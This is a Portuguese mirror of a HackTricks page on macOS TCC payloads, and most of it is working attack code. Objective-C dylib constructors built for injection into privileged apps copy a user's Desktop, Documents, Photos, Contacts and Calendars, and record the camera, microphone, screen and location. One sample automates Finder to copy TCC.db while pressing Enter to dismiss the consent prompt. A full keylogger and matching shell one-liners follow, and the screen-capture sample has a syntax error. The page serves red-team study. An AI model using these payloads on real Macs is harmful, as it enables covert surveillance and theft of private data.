Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00

Translator df442bc020 Translated ['forensics/basic-forensic-methodology/README.md', 'forensics

2024-02-09 01:28:17 +00:00

28 KiB

Raw Blame History

Cargas do TCC do macOS

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.

Desktop

Privilégio: Nenhum
TCC: kTCCServiceSystemPolicyDesktopFolder

{% tabs %} {% tab title="ObjetiveC" %} Copie $HOME/Desktop para /tmp/desktop.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Copie $HOME/Desktop para /tmp/desktop.

cp -r "$HOME/Desktop" "/tmp/desktop"

{% endtab %} {% endtabs %}

Documentos

Entitlement: Nenhum
TCC: kTCCServiceSystemPolicyDocumentsFolder

{% tabs %} {% tab title="ObjetiveC" %} Copie $HOME/Documents para /tmp/documents.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Copie $HOME/Documents para /tmp/documents.

cp -r "$HOME/Documents" "/tmp/documents"

{% endtab %} {% endtabs %}

Downloads

Entitlement: Nenhum
TCC: kTCCServiceSystemPolicyDownloadsFolder

{% tabs %} {% tab title="ObjetiveC" %} Copie $HOME/Downloads para /tmp/downloads.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Copie $HOME/Dowloads para /tmp/downloads.

cp -r "$HOME/Downloads" "/tmp/downloads"

{% endtab %} {% endtabs %}

Biblioteca de Fotos

Entitlement: com.apple.security.personal-information.photos-library
TCC: kTCCServicePhotos

{% tabs %} {% tab title="ObjetiveC" %} Copie $HOME/Pictures/Photos Library.photoslibrary para /tmp/photos.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Copie $HOME/Pictures/Photos Library.photoslibrary para /tmp/photos.

cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"

{% endtab %} {% endtabs %}

Contatos

Entitlement: com.apple.security.personal-information.addressbook
TCC: kTCCServiceAddressBook

{% tabs %} {% tab title="ObjetiveC" %} Copie $HOME/Library/Application Support/AddressBook para /tmp/contacts.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Copie $HOME/Library/Application Support/AddressBook para /tmp/contacts.

cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"

{% endtab %} {% endtabs %}

Calendário

Entitlement: com.apple.security.personal-information.calendars
TCC: kTCCServiceCalendar

{% tabs %} {% tab title="ObjectiveC" %} Copie $HOME/Library/Calendars para /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Copie $HOME/Library/Calendars para /tmp/calendars.

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

{% endtab %} {% endtabs %}

Câmera

Entitlement: com.apple.security.device.camera
TCC: kTCCServiceCamera

{% tabs %} {% tab title="ObjetiveC - Gravação" %} Grave um vídeo de 3 segundos e salve em /tmp/recording.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="ObjectiveC - Verificação" %} Verifique se o programa tem acesso à câmera. {% endtab %}

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title="Shell" %} Tire uma foto com a câmera

ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg

{% endtab %} {% endtabs %}

Microfone

Privilégio: com.apple.security.device.audio-input
TCC: kTCCServiceMicrophone

{% tabs %} {% tab title="ObjetiveC - Gravação" %} Grave 5 segundos de áudio e armazene em /tmp/recording.m4a

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

{% endtab %}

{% tab title = "ObjectiveC - Verificação" %} Verifique se o aplicativo tem acesso ao microfone. {% endtab %}

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}

{% endtab %}

{% tab title="Shell" %} Grave um áudio de 5 segundos e armazene em /tmp/recording.wav

# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav

{% endtab %} {% endtabs %}

Localização

{% hint style="success" %} Para um aplicativo obter a localização, Serviços de Localização (em Privacidade e Segurança) devem estar ativados, caso contrário, não será capaz de acessá-la. {% endhint %}

Direito: com.apple.security.personal-information.location
TCC: Concedido em /var/db/locationd/clients.plist

{% tabs %} {% tab title="ObjectiveC" %} Escreva a localização em /tmp/logs.txt

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

{% endtab %}

{% tab title="Shell" %} Obter acesso à localização

???

{% endtab %} {% endtabs %}

Gravação de Tela

Privilégio: Nenhum
TCC: kTCCServiceScreenCapture

{% tabs %} {% tab title="ObjectiveC" %} Grave a tela principal por 5s em /tmp/screen.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording error: %@", error);
} else {
NSLog(@"Recording finished successfully.");
}
exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
if ([captureSession canAddInput:screenInput]) {
[captureSession addInput:screenInput];
}

AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([captureSession canAddOutput:fileOutput]) {
[captureSession addOutput:fileOutput];
}

[captureSession startRunning];

MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

// Run the loop for 5 seconds to capture
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
[fileOutput stopRecording];
});

CFRunLoopRun();
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

{% endtab %}

{% tab title="Shell" %} Grave a tela principal por 5 segundos

screencapture -V 5 /tmp/screen.mov

{% endtab %} {% endtabs %}

Acessibilidade

Privilégio: Nenhum
TCC: kTCCServiceAccessibility

Use o privilégio TCC para aceitar o controle do Finder pressionando enter e assim contornar o TCC dessa maneira

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";

NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];

if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}

int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});

// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}

{% endtab %}

{% tab title="Keylogger" %} Armazene as teclas pressionadas em /tmp/keystrokes.txt

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <Carbon/Carbon.h>

// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m

NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";

void AppendStringToFile(NSString *str, NSString *filePath) {
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
if (fileHandle) {
[fileHandle seekToEndOfFile];
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
[fileHandle closeFile];
} else {
// If the file does not exist, create it
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
}
}

CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

NSString *keyString = nil;
// First, handle special non-printable keys
switch (keyCode) {
case kVK_Return: keyString = @"<Return>"; break;
case kVK_Tab: keyString = @"<Tab>"; break;
case kVK_Space: keyString = @"<Space>"; break;
case kVK_Delete: keyString = @"<Delete>"; break;
case kVK_Escape: keyString = @"<Escape>"; break;
case kVK_Command: keyString = @"<Command>"; break;
case kVK_Shift: keyString = @"<Shift>"; break;
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
case kVK_Option: keyString = @"<Option>"; break;
case kVK_Control: keyString = @"<Control>"; break;
case kVK_RightControl: keyString = @"<Control>"; break;
case kVK_RightShift: keyString = @"<Shift>"; break;
case kVK_RightOption: keyString = @"<Option>"; break;
case kVK_Function: keyString = @"<Function>"; break;
case kVK_F1: keyString = @"<F1>"; break;
case kVK_F2: keyString = @"<F2>"; break;
case kVK_F3: keyString = @"<F3>"; break;
// Add more cases here for other non-printable keys...
default: break; // Not a special non-printable key
}

// If it's not a special key, try to translate it
if (!keyString) {
UniCharCount maxStringLength = 4;
UniCharCount actualStringLength = 0;
UniChar unicodeString[maxStringLength];

TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);

UInt32 deadKeyState = 0;
OSStatus status = UCKeyTranslate(keyboardLayout,
keyCode,
kUCKeyActionDown,
0,
LMGetKbdType(),
kUCKeyTranslateNoDeadKeysBit,
&deadKeyState,
maxStringLength,
&actualStringLength,
unicodeString);
CFRelease(currentKeyboard);

if (status == noErr && actualStringLength > 0) {
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
} else {
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
}
}

NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
AppendStringToFile(logString, kKeystrokesLogPath);
}
return event;
}

int main() {
@autoreleasepool {
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);

if (!eventTap) {
NSLog(@"Failed to create event tap");
exit(1);
}

CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
CFRunLoopRun();
}
return 0;
}

{% endtab %} {% endtabs %}

{% hint style="danger" %} A acessibilidade é uma permissão muito poderosa, você poderia abusar dela de outras maneiras, por exemplo, você poderia realizar o ataque de teclas apenas com ela, sem precisar chamar o System Events. {% endhint %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.

28 KiB Raw Blame History

Cargas do TCC do macOS

Desktop

Documentos

Downloads

Biblioteca de Fotos

Contatos

Calendário

Câmera

Microfone

Localização

Gravação de Tela

Acessibilidade

28 KiB

Raw Blame History